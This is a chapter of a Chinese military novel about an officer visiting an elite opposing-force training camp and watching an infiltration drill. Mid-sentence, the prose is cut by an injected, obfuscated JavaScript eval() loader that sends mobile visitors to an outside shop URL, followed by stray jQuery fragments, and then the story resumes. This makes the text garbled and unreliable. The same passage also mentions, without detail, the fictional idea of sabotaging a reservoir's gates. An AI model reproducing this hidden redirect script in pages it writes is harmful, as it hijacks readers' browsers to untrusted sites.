刘沂蒙的吉普车停在“磨刀石”营地门口时,正是中午。
阳光照在积雪上,刺得人睁不开眼。
他下车,站在门口看了很久。
营地很安静。没有出操的口号,没有训练的喧哗。
只有远处传来的、偶尔几声枪响,短促而沉闷,像是某种大型动物的低吼。
门口哨兵检查证件时,多看了他两眼。
三十出头的大校,在整个东北军区都少见。
更何况是这种从中央军区来的、身上带着一股子机关气场的年轻军官。
刘沂蒙没在意那些目光。
他站在那儿,眯着眼打量营地。
营房是旧的,墙面斑驳,窗户上还蒙着防寒塑料布。
训练场不大,但布置得很有章法——障碍、靶场、攀爬设施,一应俱全。
最显眼的是场地中央那几座模拟工事,修得跟真的一样,射击孔、观察哨、交通壕,样样齐全。
“刘大校?”
周华迎出来,敬了个礼。
“请跟我来。”
刘沂蒙点点头,跟着往里走。
穿过营房区时,他看见几个战士蹲在墙根下,围着一台拆开的设备低声讨论。
有人拿着烙铁,在电路板上焊接什么,动作很轻,很稳。
刘沂蒙多看了两眼。
周华注意到他的目光,解释道:“那是我们自己的技术小组。装备坏了,自己修。有些小改进,也自己琢磨。”
刘沂蒙没说话,只是点了点头。
会议室里,王卫国正在看文件。
看见刘沂蒙进来,他站起身,伸出手。
“刘大校,欢迎。”
刘沂蒙握住那只手。
手掌粗糙,满是老茧,握力很沉,但不带任何试探和戒备。
只是一个军人的、坦然的握手。
“王队长,久仰。”
两人落座。
周华倒了茶,退出去。
刘沂蒙没急着说话,先打量这间会议室。
房间不大,一张长条桌,几把木椅。
墙上挂着巨幅战区地图,图上标着密密麻麻的符号。
角落里有个铁皮炉子,炉火烧得正旺,水壶坐在上
面滋滋冒着热气。
桌上放着一份文件封面写着《蓝军作战条令(试行)》。
刘沂蒙的目光在那份文件上停了一下。
王卫国顺着他的目光看去笑了笑。
“刚写完的初稿还粗糙。”
刘沂蒙摇摇头。
“能写出这东西的人整个军区不超过五个。”
他抬起头看着王卫国。
“王队长我是来学习的。”
王卫国没说话等他继续。
刘沂蒙从公文包里取出一份文件递过来。
“中央军区决定借鉴你们‘磨刀石’的经验组建全军第一支专业化‘假想敌’部队。”
他顿了顿。
“代号‘砺剑’。”
王卫国接过文件翻开。
文件不长但每一条都很扎实。编制、人员、装备、训练模式写得清清楚楚。
最后的批复栏里盖着好几个鲜红的印章。
他合上文件抬起头。
“刘大校你需要什么?”
刘沂蒙愣了一下。
他没想到王卫国这么直接。
来之前他做过功课。
知道王卫国这个人知道“雪狐”知道“磨刀石”。
也听说过那些传闻——边境线上的追猎无名高地的伏击演习场上的“斩首”行动。
但他没想到见面之后
刘沂蒙沉默了几秒。
“我想看看你们的训练。你们的选拔标准。你们的战术体系。”
他直视着王卫国。
“我想知道怎么把一群尖子兵变成一支真正的‘假想敌’部队。”
王卫国点点头。
“可以。”
他站起身走到门口拉开门。
周华正在走廊里等着。
“安排一下。刘大校要看训练。”
周华点头快步离开。
刘沂蒙跟着王卫国走出会议室。
两人穿过营房区走向训练场。
路上刘沂蒙问了一个问题。
“王队长你们的人都是从哪儿挑的?”
王卫国边走边说。
“全军。侦察、通信、电子对抗、炮兵观测,什么专业都有。
他指了指远处正在训练的几个人。
“那边那个,原炮兵团观测排排长,叫李振涛。现在是我们第一渗透组组长。专门琢磨那些上不了台面但可能致命的招数。
刘沂蒙顺着他的手指看去。
一个中等身材的军官正蹲在地上,对着一块沙盘比划什么。
旁边围了几个人,一边听一边点头。
“他怎么进来的?
王卫国想了想。
“选拔的时候,我让他们谈,如果自己是假想敌,会怎么攻击一个主力师。别人都说找防线薄弱点、切断后勤线。他说——
他停顿了一下。
“他说,如果事先掌握某座水库的闸门控制数据,可以在关键节点制造一次‘意外’的泄洪或断流,下游的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198097|184587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
部队集结地和渡河点就会瘫痪。
刘沂蒙听完,沉默了很久。
“这个人,我要见见。
王卫国看了他一眼。
“下午的训练,他带队。
训练场边上,有个简易的观摩台。
王卫国和刘沂蒙站上去时,李振涛正带着第一组进行渗透演练。
目标是一座模拟的指挥所——用沙袋和木板搭起来的简易工事,周围有“哨兵巡逻,有“暗哨潜伏。
李振涛带着三个人,从四百米外开始渗透。
他们走得很慢。
每一步都踩在阴影里,每一步都借着地形的掩护。
有时趴在雪地里,一动不动十几分钟;有时突然加速,在哨兵转身的间隙穿过开阔地。
刘沂蒙举着望远镜,看得眼睛都不敢眨。
“你们的伪装服……
他忽然开口。
王卫国点点头。
“自己做的。改进型特种迷彩,对红外和微光夜视仪有一定衰减效果。
刘沂蒙放下望远镜,看着他。
“这些东西,哪儿来的?
王卫国笑了笑。
“老师傅们一点一点琢磨出来的。
刘沂蒙沉默。
他知道这意味着什么。
没有进口渠
道没有现成技术没有任何外援。
全靠自己
渗透小组继续前进。
距离指挥所五十米时李振涛打了个手势。
三个人同时停下伏在雪地里。
一动不动。
刘沂蒙看了半天愣是没看出他们藏在哪儿。
“人呢?”
王卫国指了指一片看似平坦的雪地。
“那儿。三个人都在那儿。”
刘沂蒙又举起望远镜仔细看。
还是看不见。
“这伪装……”
王卫国说。
“不只是衣服。还有动作。他们学会了怎么和环境融为一体。怎么利用阴影怎么控制呼吸怎么在移动时不惊动任何东西。”
他顿了顿。
“这比装备更重要。”
刘沂蒙点点头没再说话。
十分钟后渗透小组突然动了。
李振涛第一个跃起像一只从雪地里弹起的豹子。
另外三人紧随其后动作快得惊人。
四个身影在哨兵转身的间隙冲进了指挥所。
几秒钟后李振涛从里面探出头朝观摩台方向比了个手势。
“斩首成功。”
王卫国说。
刘沂蒙看着那个手势久久没动。